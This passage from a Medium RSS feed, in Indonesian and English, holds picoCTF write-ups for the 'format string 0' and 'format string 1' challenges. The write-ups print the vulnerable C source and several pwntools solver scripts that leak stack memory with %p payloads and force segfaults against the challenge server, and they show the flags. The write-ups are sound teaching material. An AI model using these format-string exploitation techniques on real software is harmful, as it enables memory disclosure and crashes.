fopen(&quot;secret-menu-item-2.txt&quot;, &quot;r&quot;);<br>  if (fd == NULL){<br>    printf(&quot;&#39;secret-menu-item-2.txt&#39; file not found, aborting.\n&quot;);<br>    return 1;<br>  }<br>  fgets(secret2, 64, fd);<br><br>  printf(&quot;Give me your order and I&#39;ll read it back to you:\n&quot;);<br>  fflush(stdout);<br>  scanf(&quot;%1024s&quot;, buf);<br>  printf(&quot;Here&#39;s your order: &quot;);<br>  printf(buf);<br>  printf(&quot;\n&quot;);<br>  fflush(stdout);<br><br>  printf(&quot;Bye!\n&quot;);<br>  fflush(stdout);<br><br>  return 0;<br>}</pre><p>Kita cek mitigasi yang digunakan dalam Binary tersebut dengan command checksec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*kBSW5t_dH3lFBSYMUktlJg.png" /></figure><p>Berdasarkan informasi yang kita dapat mulai dari nama challenge hingga source code nya, ini merupakan challenge perkenalan lanjutan terkait vulnerability yang dikenal sebagai <strong><em>Format String Vulnerability</em></strong>. Dimana vulnerability ini terjadi apabila kita memberikan input sebagai format string pada function kayak printf, sprintf, atau fprintf tanpa kontrol, sehingga special characters kayak %s, %x, atau %n jadi gak dianggap sebagai teks biasa melainkan format instructions sehingga attacker bisa <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> ke process memory, menyebabkan crash bahkan bisa dimanfaatkan untuk <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>Jika dilihat pada source code, hanya terdapat 1 function yakni function main yang jika dijelaskan maka dia akan menjalankan program dimana kita memberikan input berupa order yang kita inginkan, lalu program akan kembali menampilkan order yang kita ketik sebelumnya. Kurang lebih seperti ini.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*WR07LpQXTSr74S8PCM1JwA.png" /></figure><p>Nah jika dibaca di dalam source code nya, program menampilkan kembali input yang kita berikan dengan printf(buf), sehingga disini lah letak vulnerability dari Binary ELF ini. Namun kita juga sekarang harus mengetahui terlebih dahulu lokasi dari flag ada dimana.</p><p>Jika kita baca kembali source code nya, kita juga jadi tahu kalau program akan membuka total 3 file yakni file secret-menu-item-1.txt, secret-menu-item-2.txt, dan flag.txt. Namun, program membuka dengan cara diambil pakai fgets(secret1, 64, fd);, fgets(secret2, 64, fd);, dan fgets(flag, 64, fd); yang dimana ini membuat isi dari ketiga file yang merupakan string berada di dalam stack memory.</p><p>Sekarang kita tahu lokasi flag berada di dalam stack memory nya, ditambah lagi karena Format String Vulnerability ini biasanya dipakai untuk membocorkan (leak) entah Canary Address atau bahkan Strings yang ada di dalam Stack sebagai hex pointer, maka kita bisa leak kandungan strings yang ada di dalam Stack dengan menggunakan format specifier %p.</p><p>Maka kita sekarang hanya perlu mengirim format specifier tersebut secara berulang ke program Binary nya, lalu saat program menampilkan kembali input kita dengan printf maka ini membuat program menampilkan semua nilai hex yang ada di dalam Stack. Langsung saja kita coba dengan sedikit Python.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%p&#39; for i in range(30)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 60512)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>print(online.recvline().decode())<br><br>online.close()</pre><p>Jika dijelaskan, program akan mengirimkan %p secara berulang sebanyak 30 buah lalu masing-masing %p dipisahkan dengan &#39;.&#39; supaya kita bisa membaca hasilnya lebih enak karena dibatasi. Maka kita langsung run dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GtKNEmlGEjpxXkcOlv-1EA.png" /></figure><p>Dari sini kita jadi mendapatkan banyak hex pointers yang dimana ini bisa saja terdapat Flag di dalamnya. Namun, perlu diingat kalau program ini dijalankan pada arsitektur little-endian. Kenapa emangnya?</p><p>Jika kita mengirimkan %p maka program akan menjalankan printf(&quot;%p&quot;) yang dimana program akan mencetak nilai 64-bit dalam urutan <em>big-endian</em> hex seperti 0x6c6c6548 (contoh). Namun ketika string misalkan “Hello\0” yang kita kirim itu disimpan di memori pada arsitektur little-endian, 8-byte kata yang dibaca sebagai value integer bakal terbalik ketika diekstrak byte-per-byte dari hex string. Oleh karena itu setelah mengubah hex menjadi bytes (tanpa 0x), kita harus balikin urutan bytes dengan ([::-1]) untuk mendapatkan urutan ASCII yang benar agar hasil strings nya nggak kebalik (Harusnya kita dapetnya “Hello” gitu, malah jadi “olleH”).</p><p>Maka kita langsung aja bikin solver yang sesuai dengan apa yang sudah dijelaskan tadi, kurang lebih seperti ini.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%p&#39; for i in range(30)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57785)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>response = online.recvline().decode()<br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, response)<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:]<br>    h = h.zfill(16)<br>    b = bytes.fromhex(h)<br>    r = b[::-1]<br>    string = r.decode(&quot;ascii&quot;, errors=&#39;ignore&#39;)<br>    result = flag.append(string)<br><br>print(flag)<br>online.close()</pre><p>Program ini adalah lanjutan dari pengiriman payload sebelumnya, dengan tambahan semua hasil yang berhubungan dengan hex pointers akan ditaro di variabel hex_pointers lalu nilai dari hex nya itu akan diambil namun tanpa 0x yakni dengan cara diambil 2 value setelahnya menggunakan [2:], baru setelah itu digenapkan semuanya harus berjumlah sekitar 16 bytes total dengan zfill(16), barulah setelah itu hex nya diubah ke dalam bytes dengan bytes.fromhex(h) dan di-reverse dengan [::-1], baru setelah itu di-decode dan dimasukkan ke dalam variabel flag sebagai array dan di-print. Ini hasilnya kalau kita run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mpap42UGz3gwtXb6boJ63Q.png" /></figure><p>Jadi terlihat kalau memang ada data seperti secret menu dan juga flag disana yang sudah ter-decode. Namun karena outputnya masih belum rapi maka kita hitung saja di bagian ke-berapa awal dari flagnya muncul (offset dari hex pointers yang berisi string flag). Jika dihitung maka dia start di angka 10an, maka kita ambil saja nilai spesifik di-sekitaran sana sampai kita dapat kalau value awal adalah flagnya. Kita modifikasi sedikit solver kita jadi seperti ini.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%{i}$p&#39; for i in range(13, 30)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57785)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>response = online.recvline().decode()<br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, response)<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:]<br>    h = h.zfill(16)<br>    b = bytes.fromhex(h)<br>    r = b[::-1]<br>    string = r.decode(&quot;ascii&quot;, errors=&#39;ignore&#39;)<br>    result = flag.append(string)<br><br>print(flag)<br>online.close()</pre><p>Dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xghI6PKOBCy5v4kj8fLakg.png" /></figure><p>Sekarang value awal adalah flagnya. Namun karena output lain juga terlihat, kita buat jadi lebih bersih hanya berisi flag saja. Kalau tadi di dalamnya yakni range(10, 30), maka kita cari nilai akhir nya sampai didapatkan yakni akhir dari flag. Dan ditemukanlah di angka 19. Langsung saja kita ubah jadi seperti ini.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%{i}$p&#39; for i in range(13, 19)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57785)<br>online.recvline().decode()<br>online.sendline(payload.encode())<br><br>response = online.recvline().decode()<br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, response)<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:]<br>    h = h.zfill(16)<br>    b = bytes.fromhex(h)<br>    r = b[::-1]<br>    string = r.decode(&quot;ascii&quot;, errors=&#39;ignore&#39;)<br>    result = flag.append(string)<br><br>print(flag)<br>online.close()</pre><p>Dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*b5sLPNzU6szpW_PzMznhvA.png" /></figure><p>Dari sini terlihat sudah tersisa flagnya saja. Tetapi karena masih berformat array, maka kita hanya perlu ganti metode pengambilan hex pointers kita agar support strings. Maka kita ubah sedikit saja solver kita jadi seperti ini.</p><pre>from pwn import *<br><br>payload = &#39;.&#39;.join([f&#39;%{i}$p&#39; for i in range(13, 19)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57256)<br>online.sendline(payload.encode())<br><br>hex_pointers = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, online.recvall().decode())<br><br>flag = []<br>for i, ptr in enumerate(hex_pointers):<br>    h = ptr[2:].zfill(14)<br>    result = flag.append(bytes.fromhex(h)[::-1].decode())<br><br>print(&quot;\nFlag :&quot;, &#39;&#39;.join(flag), &quot;\n&quot;)<br>online.close()</pre><p>Dengan membuat semua list di-append lalu join, serta menyederhanakan proses yang ada di dalam loop for menjadi lebih one-liner serta dengan merevisi penggenapan hex nya dari yang sebelumnya 16 bytes menjadi 14 bytes untuk menghilangkan null byte di akhir, maka jadilah solver di atas dan jika di-run maka ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*yGnA7dCUESpGZblRBtBxdQ.png" /></figure><p>Alternative :</p><p>Karena sebelumnya flag merupakan sebuah list dan harus di-append lalu join untuk mendapatkan flag utuh, jadi setelah coba berbagai cara akhirnya mendapatkan versi metode pengambilan hex pointers yang berbeda agar support strings juga sedari awal. Berikut solver baru nya.</p><pre>from pwn import *<br><br>context.binary = ELF(&quot;./format-string-1&quot;)<br>payload = &#39;&#39;.join([f&#39;%{i}$p.&#39; for i in range(13, 19)])<br>online = remote(&quot;mimas.picoctf.net&quot;, 57256)<br><br>online.sendline(payload.encode())<br>hexes = re.findall(r&#39;0x[0-9a-fA-F]+&#39;, online.recvall().decode())<br><br>flag = &#39;&#39;<br>for i, hx in enumerate(hexes):<br>    raw = hx[2:]<br>    flag += bytes.fromhex(raw)[::-1].decode()<br><br>print(&quot;\nFlag :&quot;, flag)<br>online.close()</pre><p>Dan ini hasilnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*usPNh5e1984l-sTfcjC_QQ.png" /></figure><p><strong>FLAG : picoCTF{4n1m41_57y13_4x4_f14g_9135fd4e}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc98efa5d8be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 0 (English Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-0-english-ver-e46ff73e4ea4?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/e46ff73e4ea4</guid>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 07:35:55 GMT</pubDate>
            <atom:updated>2025-09-18T07:35:55.620Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a write-up for learning purposes. So it will be explained in as much detail as possible, but also as simply as possible. So I apologize if it’s too long, hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*Qglt7DSdJ0_Vmg2O.png" /></figure><p>In this challenge, we will deal with <strong>Binary Exploitation</strong> and one of the Easy challenges that has been completed is “Format String 0”. Here is the discussion.</p><p>We are given the following description :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*UrPtrgrQdkV9b6YB.png" /></figure><p>Two attachments are provided: an ELF Binary (Executable and Linkable Format) named format-string-0 and the source code file for that ELF Binary file, format-string-0.c, with the following code.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;signal.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br><br>#define BUFSIZE 32<br>#define FLAGSIZE 64<br><br>char flag[FLAGSIZE];<br><br>void sigsegv_handler(int sig) {<br>    printf(&quot;\n%s\n&quot;, flag);<br>    fflush(stdout);<br>    exit(1);<br>}<br><br>int on_menu(char *burger, char *menu[], int count) {<br>    for (int i = 0; i &lt; count; i++) {<br>        if (strcmp(burger, menu[i]) == 0)<br>            return 1;<br>    }<br>    return 0;<br>}<br><br>void serve_patrick();<br><br>void serve_bob();<br><br><br>int main(int argc, char **argv){<br>    FILE *f = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    if (f == NULL) {<br>        printf(&quot;%s %s&quot;, &quot;Please create &#39;flag.txt&#39; in this directory with your&quot;,<br>                        &quot;own debugging flag.\n&quot;);<br>        exit(0);<br>    }<br><br>    fgets(flag, FLAGSIZE, f);<br>    signal(SIGSEGV, sigsegv_handler);<br><br>    gid_t gid = getegid();<br>    setresgid(gid, gid, gid);<br><br>    serve_patrick();<br>  <br>    return 0;<br>}<br><br>void serve_patrick() {<br>    printf(&quot;%s %s\n%s\n%s %s\n%s&quot;,<br>            &quot;Welcome to our newly-opened burger place Pico &#39;n Patty!&quot;,<br>            &quot;Can you help the picky customers find their favorite burger?&quot;,<br>            &quot;Here comes the first customer Patrick who wants a giant bite.&quot;,<br>            &quot;Please choose from the following burgers:&quot;,<br>            &quot;Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe&quot;,<br>            &quot;Enter your recommendation: &quot;);<br>    fflush(stdout);<br><br>    char choice1[BUFSIZE];<br>    scanf(&quot;%s&quot;, choice1);<br>    char *menu1[3] = {&quot;Breakf@st_Burger&quot;, &quot;Gr%114d_Cheese&quot;, &quot;Bac0n_D3luxe&quot;};<br>    if (!on_menu(choice1, menu1, 3)) {<br>        printf(&quot;%s&quot;, &quot;There is no such burger yet!\n&quot;);<br>        fflush(stdout);<br>    } else {<br>        int count = printf(choice1);<br>        if (count &gt; 2 * BUFSIZE) {<br>            serve_bob();<br>        } else {<br>            printf(&quot;%s\n%s\n&quot;,<br>                    &quot;Patrick is still hungry!&quot;,<br>                    &quot;Try to serve him something of larger size!&quot;);<br>            fflush(stdout);<br>        }<br>    }<br>}<br><br>void serve_bob() {<br>    printf(&quot;\n%s %s\n%s %s\n%s %s\n%s&quot;,<br>            &quot;Good job! Patrick is happy!&quot;,<br>            &quot;Now can you serve the second customer?&quot;,<br>            &quot;Sponge Bob wants something outrageous that would break the shop&quot;,<br>            &quot;(better be served quick before the shop owner kicks you out!)&quot;,<br>            &quot;Please choose from the following burgers:&quot;,<br>            &quot;Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak&quot;,<br>            &quot;Enter your recommendation: &quot;);<br>    fflush(stdout);<br><br>    char choice2[BUFSIZE];<br>    scanf(&quot;%s&quot;, choice2);<br>    char *menu2[3] = {&quot;Pe%to_Portobello&quot;, &quot;$outhwest_Burger&quot;, &quot;Cla%sic_Che%s%steak&quot;};<br>    if (!on_menu(choice2, menu2, 3)) {<br>        printf(&quot;%s&quot;, &quot;There is no such burger yet!\n&quot;);<br>        fflush(stdout);<br>    } else {<br>        printf(choice2);<br>        fflush(stdout);<br>    }<br>}</pre><p>We check the mitigation used in the Binary with the checksec command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/0*P3mOyBZRWuAsBImA.png" /></figure><p>Based on the information we have, from the name of the challenge to its source code, this is an introductory challenge related to a vulnerability known as <strong><em>Format String Vulnerability</em></strong>. This vulnerability occurs when we provide input as a format string to functions such as <em>printf</em>, <em>sprintf</em>, or <em>fprintf</em> without control, so that special characters such as <em>%s</em>, <em>%x</em>, or <em>%n</em> are not treated as ordinary text but as format instructions, allowing attackers to do an <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> to process memory, cause crashes, and even exploit it for <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>Looking at the source code, we can see that there are two functions that form the core of this ELF binary: the <strong><em>serve_patrick</em></strong> and <strong><em>serve_bob</em></strong> functions. In the <strong><em>serve_patrick</em></strong> function, we are given three options: <em>Breakf@st_Burger</em>, <em>Gr%114d_Cheese</em>, and <em>Bac0n_D3luxe</em>. There is also a condition that if our input is greater than twice of the BUFSIZE, which is 64 bytes, we will be directed to the <strong><em>serve_bob</em></strong> function.</p><p>The <strong><em>serve_bob</em></strong> function also provides three options: <em>Pe%to_Portobello</em>, <em>$outhwest_Burger</em>, and <em>Cla%sic_Che%s%steak</em>.</p><p>Interestingly, the source code also explains that the way to get the flag is to cause a <strong><em>Segmentation Vault</em></strong> error. This is because the <em>segmentation fault signal</em> has been customized to print the flag.</p><p>With this, we can actually solve it in the <strong>intended</strong> way, by using <strong>Format String Vulnerability</strong>, or in an <strong>unintended</strong> way, by using <strong>Buffer Overflow</strong>. Since we only need to make the program get a <strong><em>Segmentation Fault</em></strong> error to get the flag, <strong>Buffer Overflow</strong> is also possible.</p><p>For the <strong>intended</strong> solution, we use <strong>Format String Vulnerability</strong>, where we can take advantage of various format specifiers to try to exploit this Binary. Here are some references we can use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/0*wbAuO9-mT9iE2WmY.png" /><figcaption>Lmao so tiny, just zoom it tho XD</figcaption></figure><p>We just need to select the appropriate option from the list (namely the <em>Gr%114d_Cheese</em> option in the <strong><em>serve_patrick</em></strong> function and the <em>Cla%sic_Che%s%steak</em> option in the <strong><em>serve_bob</em></strong> function). Why is the <em>Pe%to_Portobello</em> option irrelevant? Because <em>%t</em> is not in the list.</p><p>However, if explained further, both options have two instruction formats, namely <em>%114d</em> and <em>%s</em>. <em>%114d</em>, when viewed in the list, comes from <em>%d</em>, which gives us a decimal integer. If there is a number in front of it, it becomes <em>%114d</em>, which means that the program will execute the instruction format and give 114 decimal numbers in the program later. This will allow us to go from the <strong><em>serve_patrick</em></strong> function to <strong><em>serve_bob</em></strong> because to enter <strong><em>serve_bob</em></strong>, we must provide input that is twice the value of BUFSIZE, which is 64 bytes.</p><p>Then for <em>%s</em>, if you look at the list, it makes <em>printf</em> in the <strong><em>serve_bob</em></strong> function take a pointer from the stack and try to read it as a string. Because it is a random pointer, there is a high possibility of touching an invalid address and causing a <strong><em>Segmentation Fault</em></strong>.</p><p>So with these two options, we can get the flag in the <strong>intended</strong> way. Here is the solver I made in Python.</p><pre>from pwn import *<br><br>online = remote(&quot;mimas.picoctf.net&quot;, 59218)<br>context.binary = ELF(&quot;./format-string-0&quot;)<br><br>online.sendline(b&#39;Gr%114d_Cheese&#39;)<br>online.recvline()<br>online.sendline(b&#39;Cla%sic_Che%s%steak&#39;)<br><br>print(online.recvall().decode())<br>online.close()</pre><p>And when we run it, the flag appears.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*93HFhZhVxiei2oDn.png" /></figure><p>If it was <strong>intended</strong>, now we can also use an <strong>unintended</strong> way by cause a <strong>buffer overflow</strong> in any function we want, whether in <strong><em>serve_patrick</em></strong> or <strong><em>serve_bob</em></strong>. By providing a large amount of input when we are given the opportunity to input into the Binary ELF, the program will give a <strong><em>Segmentation Fault</em></strong> error and we will get the flag. Here is the solver used for the <strong>unintended</strong> method.</p><pre>from pwn import *<br><br>online = remote(&quot;mimas.picoctf.net&quot;, 59218)<br>context.binary = ELF(&quot;./format-string-0&quot;)<br><br>online.sendline(cyclic(120))<br><br>print(online.recvuntil(b&#39;yet!\n\n&#39;, drop=False).decode())<br>print(&quot;Flag :&quot;, online.recvline().decode())<br>online.close()</pre><p>And the flag is also obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZGlQkpRS0KhuRloI.png" /></figure><p><strong>FLAG : picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e46ff73e4ea4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoGym (Binary Exploitation): Format String 0 (IDN Ver.)]]></title>
            <link>https://medium.com/@rasshaaa_.13/picogym-binary-exploitation-format-string-0-idn-ver-b900e3964ce8?source=rss-c577abab7da6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b900e3964ce8</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <dc:creator><![CDATA[Rasshaaa]]></dc:creator>
            <pubDate>Wed, 17 Sep 2025 07:42:21 GMT</pubDate>
            <atom:updated>2025-09-18T06:41:50.997Z</atom:updated>
            <content:encoded><![CDATA[<p>Ini writeup for learning purposes. Jadi akan dijelaskan se-detail mungkin tetapi juga se-simpel mungkin. Jadi mohon maaf kalo kepanjangan hehe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*KvrfXQokXCD5YvHi4F-SNw.png" /></figure><p>Pada challenge kali ini, kita akan berurusan dengan <strong>Binary Exploitation</strong> dan salah satu challenge difficulty Easy yang sudah diselesaikan yaitu “Format String 0”, berikut pembahasannya.</p><p>Kita diberikan deskripsi seperti ini :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*igVJWHMNwEKsa1PyByZTuQ.png" /></figure><p>Diberikan 2 attachment yakni file Binary ELF (Executable and Linkable Format) bernama format-string-0 dan file source code dari Binary ELF tersebut yakni format-string-0.c dengan kode seperti berikut.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;signal.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br><br>#define BUFSIZE 32<br>#define FLAGSIZE 64<br><br>char flag[FLAGSIZE];<br><br>void sigsegv_handler(int sig) {<br>    printf(&quot;\n%s\n&quot;, flag);<br>    fflush(stdout);<br>    exit(1);<br>}<br><br>int on_menu(char *burger, char *menu[], int count) {<br>    for (int i = 0; i &lt; count; i++) {<br>        if (strcmp(burger, menu[i]) == 0)<br>            return 1;<br>    }<br>    return 0;<br>}<br><br>void serve_patrick();<br><br>void serve_bob();<br><br><br>int main(int argc, char **argv){<br>    FILE *f = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    if (f == NULL) {<br>        printf(&quot;%s %s&quot;, &quot;Please create &#39;flag.txt&#39; in this directory with your&quot;,<br>                        &quot;own debugging flag.\n&quot;);<br>        exit(0);<br>    }<br><br>    fgets(flag, FLAGSIZE, f);<br>    signal(SIGSEGV, sigsegv_handler);<br><br>    gid_t gid = getegid();<br>    setresgid(gid, gid, gid);<br><br>    serve_patrick();<br>  <br>    return 0;<br>}<br><br>void serve_patrick() {<br>    printf(&quot;%s %s\n%s\n%s %s\n%s&quot;,<br>            &quot;Welcome to our newly-opened burger place Pico &#39;n Patty!&quot;,<br>            &quot;Can you help the picky customers find their favorite burger?&quot;,<br>            &quot;Here comes the first customer Patrick who wants a giant bite.&quot;,<br>            &quot;Please choose from the following burgers:&quot;,<br>            &quot;Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe&quot;,<br>            &quot;Enter your recommendation: &quot;);<br>    fflush(stdout);<br><br>    char choice1[BUFSIZE];<br>    scanf(&quot;%s&quot;, choice1);<br>    char *menu1[3] = {&quot;Breakf@st_Burger&quot;, &quot;Gr%114d_Cheese&quot;, &quot;Bac0n_D3luxe&quot;};<br>    if (!on_menu(choice1, menu1, 3)) {<br>        printf(&quot;%s&quot;, &quot;There is no such burger yet!\n&quot;);<br>        fflush(stdout);<br>    } else {<br>        int count = printf(choice1);<br>        if (count &gt; 2 * BUFSIZE) {<br>            serve_bob();<br>        } else {<br>            printf(&quot;%s\n%s\n&quot;,<br>                    &quot;Patrick is still hungry!&quot;,<br>                    &quot;Try to serve him something of larger size!&quot;);<br>            fflush(stdout);<br>        }<br>    }<br>}<br><br>void serve_bob() {<br>    printf(&quot;\n%s %s\n%s %s\n%s %s\n%s&quot;,<br>            &quot;Good job! Patrick is happy!&quot;,<br>            &quot;Now can you serve the second customer?&quot;,<br>            &quot;Sponge Bob wants something outrageous that would break the shop&quot;,<br>            &quot;(better be served quick before the shop owner kicks you out!)&quot;,<br>            &quot;Please choose from the following burgers:&quot;,<br>            &quot;Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak&quot;,<br>            &quot;Enter your recommendation: &quot;);<br>    fflush(stdout);<br><br>    char choice2[BUFSIZE];<br>    scanf(&quot;%s&quot;, choice2);<br>    char *menu2[3] = {&quot;Pe%to_Portobello&quot;, &quot;$outhwest_Burger&quot;, &quot;Cla%sic_Che%s%steak&quot;};<br>    if (!on_menu(choice2, menu2, 3)) {<br>        printf(&quot;%s&quot;, &quot;There is no such burger yet!\n&quot;);<br>        fflush(stdout);<br>    } else {<br>        printf(choice2);<br>        fflush(stdout);<br>    }<br>}</pre><p>Kita cek mitigasi yang digunakan dalam Binary tersebut dengan command checksec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*1QKtBvaS1yootIYzMnrHaA.png" /></figure><p>Berdasarkan informasi yang kita dapat mulai dari nama challenge hingga source code nya, ini merupakan challenge perkenalan terkait vulnerability yang dikenal sebagai <strong><em>Format String Vulnerability</em></strong>. Dimana vulnerability ini terjadi apabila kita memberikan input sebagai format string pada function kayak <em>printf</em>, <em>sprintf</em>, atau <em>fprintf</em> tanpa kontrol, sehingga special characters kayak <em>%s</em>, <em>%x</em>, atau <em>%n</em> jadi gak dianggap sebagai teks biasa melainkan format instructions sehingga attacker bisa <strong><em>arbitrary read memory</em></strong>, <strong><em>arbitrary write</em></strong> ke process memory, menyebabkan crash bahkan bisa dimanfaatkan untuk <strong><em>RCE</em></strong> (<strong><em>Remote Code Execution</em></strong>).</p><p>Jika dilihat pada source code, kita bisa membaca kalau terdapat 2 function yang menjadi inti dari Binary ELF ini yaitu function <strong><em>serve_patrick</em></strong> dan <strong><em>serve_bob</em></strong>. Di function <strong><em>serve_patrick</em></strong> kita diberikan 3 opsi, yakni <em>Breakf@st_Burger</em>, <em>Gr%114d_Cheese</em>, <em>Bac0n_D3luxe</em> dan juga ada pengkondisian kalau hasil input kita lebih besar dari 2 kali nya BUFSIZE yakni 64 bytes, maka kita akan diarahkan ke function <strong><em>serve_bob</em></strong>.</p><p>Di dalam function <strong><em>serve_bob</em></strong> pun juga diberikan 3 opsi, yakni <em>Pe%to_Portobello</em>, <em>$outhwest_Burger</em>, <em>Cla%sic_Che%s%steak</em>.</p><p>Yang menarik adalah, di bagian source code nya juga dijelaskan kalau cara mendapatkan flag adalah kita harus mendapatkan error <strong><em>Segmentation Vault</em></strong>. Alasannya karena <em>signal segmentation vault</em> nya sudah di-custom kalau dia akan print flagnya.</p><p>Dengan ini, sebenarnya kita bisa solve dengan cara yang <strong>intended</strong> yakni menggunakan <strong>Format String Vulnerability</strong> ataupun dengan cara yang <strong>unintended</strong> yakni <strong><em>Buffer Overflow</em></strong>. Karena kita hanya perlu membuat program mengalami error <strong><em>Segmentation Vault</em></strong> untuk mendapatkan flagnya maka <strong><em>Buffer Overflow</em></strong> juga memungkinkan.</p><p>Kalau cara solve yang <strong>intended</strong>, kita menggunakan <strong>Format String Vulnerability</strong> dimana kita bisa memanfaatkan berbagai format specifiers yang ada untuk mencoba exploit Binary ini. Berikut referensi yang bisa kita gunakan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*TvbZaCw3WYqSCBtvmyzXLg.png" /><figcaption>Aduh gambarnya kecil cok, Zoom ae ye WKWKWK</figcaption></figure><p>Kita hanya perlu memilih opsi yang sesuai di list nya (yakni opsi <em>Gr%114d_Cheese</em> di function <strong><em>serve_patrick</em></strong> dan opsi <em>Cla%sic_Che%s%steak</em> di function <strong><em>serve_bob</em></strong>), kenapa opsi <em>Pe%to_Portobello</em> tidak relevan? Karena emang gak ada di list <em>%t</em> itu untuk apa.</p><p>Namun, kalau dijelaskan lebih lanjut maka di kedua opsi itu terdapat 2 format instructions yakni <em>%114d</em> dan <em>%s</em>. <em>%114d</em> jika dilihat di list nya maka dia berasal dari <em>%d</em> yang memberikan kita integer desimal, kalau ada angka di depannya menjadi <em>%114d</em> maka ini berarti program akan menjalankan format instructions nya dan memberikan 114 angka desimal di programnya nanti. Hal ini akan membuat kita bisa pergi dari function <strong><em>serve_patrick</em></strong> ke <strong><em>serve_bob</em></strong> karena untuk masuk ke <strong><em>serve_bob</em></strong> harus memberikan input yang nilainya 2 kali lipat dari BUFSIZE yakni 64 bytes.</p><p>Lalu untuk <em>%s</em>, jika dilihat di list nya maka dia membuat <em>printf</em> yang ada di function <strong><em>serve_bob</em></strong> mengambil pointer dari stack dan mencoba membacanya sebagai string. Karena itu pointer acak, sangat besar kemungkinan menyentuh alamat yang gak valid dan menyebabkan <strong><em>Segmentation Vault</em></strong>.</p><p>Sehingga dengan kedua opsi ini, kita bisa mendapatkan flagnya dengan cara yang intended. Berikut solver yang saya buat dalam Python.</p><pre>from pwn import *<br><br>online = remote(&quot;mimas.picoctf.net&quot;, 59218)<br>context.binary = ELF(&quot;./format-string-0&quot;)<br><br>online.sendline(b&#39;Gr%114d_Cheese&#39;)<br>online.recvline()<br>online.sendline(b&#39;Cla%sic_Che%s%steak&#39;)<br><br>print(online.recvall().decode())<br>online.close()</pre><p>Dan kalau di-run, flagnya muncul.</p><figure><img alt="" 